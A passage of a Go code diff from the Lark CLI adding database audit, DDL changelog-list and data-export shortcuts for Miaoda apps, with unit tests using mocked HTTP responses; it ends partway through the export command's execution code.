// dry-run body {table, enabled:true, retention}
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBAuditEnable,
|
||||
[]string{"+db-audit-enable", "--app-id", "app_x", "--table", "orders", "--retention", "30d", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "POST" || a.URL != dbAuditSetURL || a.Body["enabled"] != true || a.Body["retention"] != "30d" || a.Body["table"] != "orders" {
|
||||
t.Fatalf("dry-run = %s %s body=%v", a.Method, a.URL, a.Body)
|
||||
}
|
||||
|
||||
// success
|
||||
factory2, stdout2, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbAuditSetURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"status": map[string]interface{}{"table": "orders", "enabled": true, "retention": "30d"}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBAuditEnable,
|
||||
[]string{"+db-audit-enable", "--app-id", "app_x", "--table", "orders", "--retention", "30d", "--format", "pretty", "--as", "user"}, factory2, stdout2); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if !strings.Contains(stdout2.String(), "✓ Audit enabled for table 'orders' (retention: 30d)") {
|
||||
t.Fatalf("pretty: %s", stdout2.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBAuditDisable_DryRunAndSuccess 验证 dry-run 发出 enabled:false 的 POST,成功时打印 pretty 确认行。
|
||||
func TestAppsDBAuditDisable_DryRunAndSuccess(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBAuditDisable,
|
||||
[]string{"+db-audit-disable", "--app-id", "app_x", "--table", "orders", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
if env.API[0].Body["enabled"] != false || env.API[0].Body["table"] != "orders" {
|
||||
t.Fatalf("dry-run body=%v (want enabled:false)", env.API[0].Body)
|
||||
}
|
||||
|
||||
factory2, stdout2, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbAuditSetURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"status": map[string]interface{}{"table": "orders", "enabled": false}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBAuditDisable,
|
||||
[]string{"+db-audit-disable", "--app-id", "app_x", "--table", "orders", "--format", "pretty", "--as", "user"}, factory2, stdout2); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if !strings.Contains(stdout2.String(), "✓ Audit disabled for table 'orders'") {
|
||||
t.Fatalf("pretty: %s", stdout2.String())
|
||||
}
|
||||
}
|
||||
|
||||
// ── audit-list ──
|
||||
|
||||
// TestAppsDBAuditList_RequiresTable 验证缺 --table 时报必填错误。
|
||||
func TestAppsDBAuditList_RequiresTable(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBAuditList,
|
||||
[]string{"+db-audit-list", "--app-id", "app_x", "--as", "user"}, factory, stdout); err == nil {
|
||||
t.Fatalf("expected required --table error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBAuditList_DryRunJoinsTables 验证 dry-run 将多个 --table 合并为 tables=orders,users 且归一化 since。
|
||||
func TestAppsDBAuditList_DryRunJoinsTables(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBAuditList,
|
||||
[]string{"+db-audit-list", "--app-id", "app_x", "--table", "orders", "--table", "users", "--since", "7d", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Params map[string]interface{} `json:"params"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "GET" || a.URL != dbAuditListURL || a.Params["tables"] != "orders,users" {
|
||||
t.Fatalf("dry-run = %s %s tables=%v", a.Method, a.URL, a.Params["tables"])
|
||||
}
|
||||
if s, _ := a.Params["since"].(string); !strings.HasSuffix(s, "Z") {
|
||||
t.Fatalf("since not normalized: %v", a.Params["since"])
|
||||
}
|
||||
}
|
||||
|
||||
// 单表查询:不预过滤、直接打 audit_list(后端就 not-found/not-enabled 报错),无 skipped。
|
||||
// TestAppsDBAuditList_SingleTableNoPreflight 验证单表查询不预过滤、operator/before/after 还原为对象、无 skipped。
|
||||
func TestAppsDBAuditList_SingleTableNoPreflight(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbAuditListURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"has_more": false, "page_token": "",
|
||||
"items": []interface{}{map[string]interface{}{
|
||||
"event_id": "01525", "event_time": "2026-04-16T10:30:00Z", "target_table": "users",
|
||||
"type": "UPDATE", "operator": `{"id":"7311","name":"alice"}`, "summary": "UPDATE 1 field",
|
||||
"before": `{"amount":100}`, "after": `{"amount":999}`,
|
||||
}},
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBAuditList,
|
||||
[]string{"+db-audit-list", "--app-id", "app_x", "--table", "users", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
// operator → 对象;before/after → 还原成对象(非字符串)。
|
||||
for _, want := range []string{`"name": "alice"`, `"before"`, `"amount": 100`, `"after"`, `"amount": 999`} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
if strings.Contains(got, `"skipped"`) {
|
||||
t.Errorf("single-table query must not emit skipped:\n%s", got)
|
||||
}
|
||||
if strings.Contains(got, `"before": "{`) {
|
||||
t.Errorf("before should be an object, not a JSON string:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBAuditList_SingleTableEmptyPretty 验证单表无事件时不报错、pretty 打印 "No audit events found." 且无 Skipped。
|
||||
func TestAppsDBAuditList_SingleTableEmptyPretty(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbAuditListURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"items": []interface{}{}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBAuditList,
|
||||
[]string{"+db-audit-list", "--app-id", "app_x", "--table", "orders", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("empty audit list should NOT error (ok read), got %v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, "No audit events found.") || strings.Contains(got, "Skipped") {
|
||||
t.Fatalf("expected empty, no skipped for single table:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// 多表查询:CLI 用 schema(存在性)+ status(审计开关)预过滤,只把有效表传给 audit_list,
|
||||
// 不存在 / 未开启审计的表进 skipped。
|
||||
// TestAppsDBAuditList_MultiTablePreflightFilters 验证多表查询用 schema+status 预过滤,仅传有效表,不存在/未开审计的表进 skipped。
|
||||
func TestAppsDBAuditList_MultiTablePreflightFilters(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
// schema:orders/users/carts 存在,ghost 不存在。
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbTablesListURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"has_more": false, "items": []interface{}{
|
||||
map[string]interface{}{"name": "orders"}, map[string]interface{}{"name": "users"}, map[string]interface{}{"name": "carts"},
|
||||
}}},
|
||||
})
|
||||
// status:orders/users 开启审计,carts 未开启。
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbAuditStatusURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"items": []interface{}{
|
||||
map[string]interface{}{"table": "orders", "enabled": true}, map[string]interface{}{"table": "users", "enabled": true},
|
||||
map[string]interface{}{"table": "carts", "enabled": false},
|
||||
}}},
|
||||
})
|
||||
// audit_list 只应被传入有效表 orders,users。
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbAuditListURL,
|
||||
OnMatch: func(req *http.Request) {
|
||||
if got := req.URL.Query().Get("tables"); got != "orders,users" {
|
||||
t.Errorf("audit_list tables = %q, want orders,users (filtered)", got)
|
||||
}
|
||||
},
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"has_more": false, "items": []interface{}{
|
||||
map[string]interface{}{"event_id": "e1", "event_time": "2026-04-16T10:30:00Z", "target_table": "orders", "type": "INSERT", "summary": "INSERT"},
|
||||
}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBAuditList,
|
||||
[]string{"+db-audit-list", "--app-id", "app_x", "--table", "orders", "--table", "users", "--table", "carts", "--table", "ghost", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
// skipped:carts(audit not enabled) + ghost(table not found),结构化 {table,reason}。
|
||||
for _, want := range []string{`"skipped"`, `"table": "carts"`, `"reason": "audit not enabled"`, `"table": "ghost"`, `"reason": "table not found"`} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 多表查询且全部被过滤掉 → 不调 audit_list,直接空 + skipped 提示。
|
||||
// TestAppsDBAuditList_MultiTableAllFilteredSkipsQuery 验证多表全部被过滤时跳过 audit_list 调用,直接输出空结果加 Skipped 提示。
|
||||
func TestAppsDBAuditList_MultiTableAllFilteredSkipsQuery(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbTablesListURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"has_more": false, "items": []interface{}{
|
||||
map[string]interface{}{"name": "orders"},
|
||||
}}},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbAuditStatusURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"items": []interface{}{}}},
|
||||
})
|
||||
// 不注册 audit_list:若被调用会命中未注册请求而报错。
|
||||
if err := runAppsShortcut(t, AppsDBAuditList,
|
||||
[]string{"+db-audit-list", "--app-id", "app_x", "--table", "ghost1", "--table", "ghost2", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("all-filtered should still succeed (empty), got %v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, "No audit events found.") || !strings.Contains(got, "Skipped 2 of 2 tables") {
|
||||
t.Fatalf("expected empty + 'Skipped 2 of 2 tables':\n%s", got)
|
||||
}
|
||||
}
|
||||
152
shortcuts/apps/apps_db_changelog_list.go
Normal file
152
shortcuts/apps/apps_db_changelog_list.go
Normal file
@@ -0,0 +1,152 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbChangelogHint = "verify --app-id is correct; if targeting --environment dev, create it first with `lark-cli apps +db-env-create --app-id <app_id> --environment dev`"
|
||||
|
||||
// AppsDBChangelogList 列出应用数据库的 DDL 变更记录(建表/改表/索引等结构变更追溯)。
|
||||
//
|
||||
// GET /apps/{app_id}/db/changelog_list(cursor 分页)。过滤:--table、--since/--until(多格式时间)。
|
||||
// --change-id 精确查单条(命中返单条、否则空)。operator 后端以 JSON 字符串透传 {id,name},
|
||||
// json 还原成对象、pretty 只展示 name。
|
||||
var AppsDBChangelogList = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-changelog-list",
|
||||
Description: "List a Miaoda app database's DDL change history (cursor pagination)",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-changelog-list --app-id <app_id>",
|
||||
"Pin a single change with --change-id; filter time with --since 7d / --until 2026-04-15.",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "table", Desc: "filter by target table"},
|
||||
{Name: "change-id", Desc: "look up a single change by id (returns that one record only)"},
|
||||
{Name: "since", Desc: "filter: changed at or after; relative (7d/2h) | date | datetime | ISO 8601 w/ TZ (bare date/datetime read in local timezone)"},
|
||||
{Name: "until", Desc: "filter: changed at or before; same formats as --since"},
|
||||
{Name: "page-size", Type: "int", Default: "20", Desc: "page size"},
|
||||
{Name: "page-token", Desc: "pagination cursor from previous response"},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rejectLegacyEnvFlag(rctx); err != nil {
|
||||
return err
|
||||
}
|
||||
return normalizeTimeFlags(rctx, "since", "until")
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
GET(appChangelogListPath(appID)).
|
||||
Desc("List Miaoda app DDL changelog").
|
||||
Params(buildChangelogParams(rctx))
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := rctx.CallAPITyped("GET", appChangelogListPath(appID), buildChangelogParams(rctx), nil)
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbChangelogHint)
|
||||
}
|
||||
items := projectChangelogItems(data["items"])
|
||||
data["items"] = items
|
||||
changeID := strings.TrimSpace(rctx.Str("change-id"))
|
||||
rctx.OutFormat(data, nil, func(w io.Writer) {
|
||||
renderChangelogPretty(w, items, changeID)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// buildChangelogParams 组装 changelog_list 查询参数:env / page_size 及可选 table/change_id/since/until/page_token。
|
||||
func buildChangelogParams(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
params := map[string]interface{}{
|
||||
"env": dbEnv(rctx),
|
||||
"page_size": rctx.Int("page-size"),
|
||||
}
|
||||
addStr := func(flag, key string) {
|
||||
if v := strings.TrimSpace(rctx.Str(flag)); v != "" {
|
||||
params[key] = v
|
||||
}
|
||||
}
|
||||
addStr("table", "table")
|
||||
addStr("change-id", "change_id")
|
||||
addStr("since", "since")
|
||||
addStr("until", "until")
|
||||
addStr("page-token", "page_token")
|
||||
return params
|
||||
}
|
||||
|
||||
type changelogItem struct {
|
||||
ChangeID string `json:"change_id"`
|
||||
ChangedAt string `json:"changed_at"`
|
||||
Operator *operatorRef `json:"operator,omitempty"`
|
||||
TargetTable string `json:"target_table"`
|
||||
ChangeType string `json:"change_type"`
|
||||
Summary string `json:"summary"`
|
||||
Statement string `json:"statement,omitempty"`
|
||||
}
|
||||
|
||||
// projectChangelogItems 把服务端原始 DDL 变更记录投影为白名单 changelogItem(operator 解析成对象)。
|
||||
func projectChangelogItems(raw interface{}) []changelogItem {
|
||||
arr, _ := raw.([]interface{})
|
||||
out := make([]changelogItem, 0, len(arr))
|
||||
for _, it := range arr {
|
||||
m, ok := it.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
out = append(out, changelogItem{
|
||||
ChangeID: common.GetString(m, "change_id"),
|
||||
ChangedAt: common.GetString(m, "changed_at"),
|
||||
Operator: parseOperator(common.GetString(m, "operator")),
|
||||
TargetTable: common.GetString(m, "target_table"),
|
||||
ChangeType: common.GetString(m, "change_type"),
|
||||
Summary: common.GetString(m, "summary"),
|
||||
Statement: common.GetString(m, "statement"),
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// renderChangelogPretty 6 列:change_id / changed_at / operator(name) / target_table / change_type / summary。
|
||||
func renderChangelogPretty(w io.Writer, items []changelogItem, changeID string) {
|
||||
if len(items) == 0 {
|
||||
if changeID != "" {
|
||||
fmt.Fprintf(w, "No DDL change with id=%s found.\n", changeID)
|
||||
} else {
|
||||
io.WriteString(w, "No DDL changes found.\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
headers := []string{"change_id", "changed_at", "operator", "target_table", "change_type", "summary"}
|
||||
rows := make([][]string, 0, len(items))
|
||||
for _, it := range items {
|
||||
rows = append(rows, []string{
|
||||
it.ChangeID,
|
||||
dashIfEmpty(it.ChangedAt),
|
||||
operatorName(it.Operator),
|
||||
dashIfEmpty(it.TargetTable),
|
||||
it.ChangeType,
|
||||
dashIfEmpty(it.Summary),
|
||||
})
|
||||
}
|
||||
renderAlignedTable(w, headers, rows)
|
||||
}
|
||||
143
shortcuts/apps/apps_db_changelog_list_test.go
Normal file
143
shortcuts/apps/apps_db_changelog_list_test.go
Normal file
@@ -0,0 +1,143 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const dbChangelogURL = "/open-apis/spark/v1/apps/app_x/db/changelog_list"
|
||||
|
||||
// TestAppsDBChangelogList_RequiresAppID 验证空白 --app-id 报 --app-id 的 ValidationError。
|
||||
func TestAppsDBChangelogList_RequiresAppID(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBChangelogList,
|
||||
[]string{"+db-changelog-list", "--app-id", " ", "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Param != "--app-id" {
|
||||
t.Fatalf("Param = %q, want --app-id", ve.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBChangelogList_DryRunFiltersAndTimeNormalize 验证 dry-run 透传 env/table/change_id 过滤参数并将 since 归一化为 RFC3339 UTC。
|
||||
func TestAppsDBChangelogList_DryRunFiltersAndTimeNormalize(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBChangelogList,
|
||||
[]string{"+db-changelog-list", "--app-id", "app_x", "--environment", "dev", "--table", "orders",
|
||||
"--change-id", "01J", "--since", "2026-01-01", "--page-size", "5", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Params map[string]interface{} `json:"params"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "GET" || a.URL != dbChangelogURL {
|
||||
t.Fatalf("dry-run = %s %s", a.Method, a.URL)
|
||||
}
|
||||
if a.Params["env"] != "dev" || a.Params["table"] != "orders" || a.Params["change_id"] != "01J" {
|
||||
t.Fatalf("params = %v", a.Params)
|
||||
}
|
||||
if s, _ := a.Params["since"].(string); !strings.HasSuffix(s, "Z") {
|
||||
t.Fatalf("since not normalized to RFC3339 UTC: %v", a.Params["since"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBChangelogList_RejectsBadSince 验证不可解析的 --since 报 --since 的 ValidationError。
|
||||
func TestAppsDBChangelogList_RejectsBadSince(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBChangelogList,
|
||||
[]string{"+db-changelog-list", "--app-id", "app_x", "--since", "notatime", "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Param != "--since" {
|
||||
t.Fatalf("Param = %q, want --since", ve.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBChangelogList_SuccessParsesOperator 验证成功响应中 operator JSON 串被解析为对象并输出变更字段。
|
||||
func TestAppsDBChangelogList_SuccessParsesOperator(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbChangelogURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"has_more": false, "page_token": "",
|
||||
"items": []interface{}{map[string]interface{}{
|
||||
"change_id": "01J", "changed_at": "2026-04-15T10:30:00Z",
|
||||
"operator": `{"id":"7311","name":"alice"}`, "target_table": "orders",
|
||||
"change_type": "ALTER_TABLE", "summary": "add column", "statement": "ALTER TABLE orders ...",
|
||||
}},
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBChangelogList,
|
||||
[]string{"+db-changelog-list", "--app-id", "app_x", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
for _, want := range []string{`"operator"`, `"name": "alice"`, `"id": "7311"`, `"change_type": "ALTER_TABLE"`, `"statement"`} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBChangelogList_ChangeIDNotFoundPretty 验证按 --change-id 查询无结果时 pretty 打印 not-found 提示。
|
||||
func TestAppsDBChangelogList_ChangeIDNotFoundPretty(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbChangelogURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"items": []interface{}{}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBChangelogList,
|
||||
[]string{"+db-changelog-list", "--app-id", "app_x", "--change-id", "nope", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if !strings.Contains(stdout.String(), "No DDL change with id=nope found.") {
|
||||
t.Fatalf("expected not-found message, got: %s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseOperator_Cases 验证 parseOperator 处理合法 JSON、空 name 回退 id、非 JSON 原样、空串返回 nil,以及 operatorName(nil) 为占位符。
|
||||
func TestParseOperator_Cases(t *testing.T) {
|
||||
if op := parseOperator(`{"id":"1","name":"a"}`); op == nil || op.ID != "1" || op.Name != "a" {
|
||||
t.Fatalf("valid: %#v", op)
|
||||
}
|
||||
if op := parseOperator(`{"id":"1","name":""}`); op == nil || op.Name != "1" {
|
||||
t.Fatalf("name fallback to id: %#v", op)
|
||||
}
|
||||
if op := parseOperator("plain-user"); op == nil || op.ID != "plain-user" || op.Name != "plain-user" {
|
||||
t.Fatalf("non-json raw: %#v", op)
|
||||
}
|
||||
if op := parseOperator(""); op != nil {
|
||||
t.Fatalf("empty → nil, got %#v", op)
|
||||
}
|
||||
if operatorName(nil) != "—" {
|
||||
t.Fatalf("nil operatorName should be —")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSafeParseJSON_Cases 验证 safeParseJSON 合法 JSON 解析为对象、非法 JSON 原样返回字符串。
|
||||
func TestSafeParseJSON_Cases(t *testing.T) {
|
||||
if v := safeParseJSON(`{"a":1}`); v == nil {
|
||||
t.Fatalf("valid json → object")
|
||||
}
|
||||
if v, ok := safeParseJSON("not json").(string); !ok || v != "not json" {
|
||||
t.Fatalf("invalid json → raw string, got %v", v)
|
||||
}
|
||||
}
|
||||
194
shortcuts/apps/apps_db_data_export.go
Normal file
194
shortcuts/apps/apps_db_data_export.go
Normal file
@@ -0,0 +1,194 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/extension/fileio"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbDataExportMaxRows = 5000
|
||||
const dbDataExportMaxBytes = 1 * 1024 * 1024 // 1 MB
|
||||
|
||||
const dbDataExportHint = "verify --app-id and --table; if too large, filter rows with +db-execute (WHERE/LIMIT) and export smaller subsets"
|
||||
|
||||
// AppsDBDataExport 把应用数据表导出到本地文件(csv/json/sql)。
|
||||
//
|
||||
// GET /apps/{app_id}/db/data_export,返回原始字节(非 JSON 信封)。
|
||||
// 行数不随导出文件返回:CLI 原子编排——先查 GetAppTableRecordList 的 total,再导出文件。
|
||||
// 数据格式由 --output 扩展名推断(默认 csv,缺省输出 <table>.csv);上限 5000 行 / 1 MB。
|
||||
var AppsDBDataExport = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-data-export",
|
||||
Description: "Export rows from a Miaoda app table to a local file (csv/json/sql)",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-data-export --app-id <app_id> --table orders --output ./orders.csv",
|
||||
"Format follows the --output extension: .csv / .json / .sql (default csv).",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "table", Desc: "source table", Required: true},
|
||||
{Name: "output", Desc: "local output path; extension picks format .csv/.json/.sql (default: <table>.csv)"},
|
||||
{Name: "limit", Type: "int", Default: "5000", Desc: "max rows to export (1..5000)"},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "source db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rejectLegacyEnvFlag(rctx); err != nil {
|
||||
return err
|
||||
}
|
||||
if strings.TrimSpace(rctx.Str("table")) == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--table is required").WithParam("--table")
|
||||
}
|
||||
if n := rctx.Int("limit"); n <= 0 || n > dbDataExportMaxRows {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--limit must be a positive integer ≤ %d", dbDataExportMaxRows).WithParam("--limit")
|
||||
}
|
||||
if err := rejectOutputTraversal(rctx.Str("output")); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, _, err := exportFormatAndOutput(rctx); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
format, _, _ := exportFormatAndOutput(rctx)
|
||||
return common.NewDryRunAPI().
|
||||
GET(appDataExportPath(appID)).
|
||||
Desc("Export Miaoda app table data (raw bytes)").
|
||||
Params(map[string]interface{}{
|
||||
"env": dbEnv(rctx), "table": strings.TrimSpace(rctx.Str("table")),
|
||||
"format": format, "limit": rctx.Int("limit"),
|
||||
})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
table := strings.TrimSpace(rctx.Str("table"))
|
||||
format, out, err := exportFormatAndOutput(rctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 原子编排第 1 步:先查总行数(records 列表的 total),再导出文件。
|
||||
// total 查询失败不阻断导出——回退到按导出文件内容数行。
|
||||
